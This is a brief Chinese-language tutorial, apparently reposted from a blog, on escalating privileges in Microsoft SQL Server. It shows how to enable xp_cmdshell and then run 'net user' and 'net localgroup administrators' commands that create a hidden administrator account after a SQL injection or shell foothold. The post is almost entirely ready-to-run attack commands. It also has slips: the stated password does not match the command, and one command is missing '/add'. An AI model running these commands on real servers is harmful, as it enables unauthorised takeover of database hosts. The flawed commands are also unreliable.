MSSQL提權之xp_cmdshell


0x01 前提

  1. getshell或者存在sql注入並且能夠執行命令。

  2. sql server是system權限,sql server默認就是system權限。

0x02 xp_cmdshell

有了xp_cmdshell的話可以執行系統命令,該組件默認是關閉的,因此需要把它打開。

開啟xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;

 

關閉xp_cmdshell

exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell', 0;reconfigure

 

0x03 提權

exec master..xp_cmdshell 'net user test pinohd123. /add'    添加用戶test,密碼test
exec master..xp_cmdshell 'net localgroup administrators test add'    添加test用戶到管理員組

 

 

 




免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM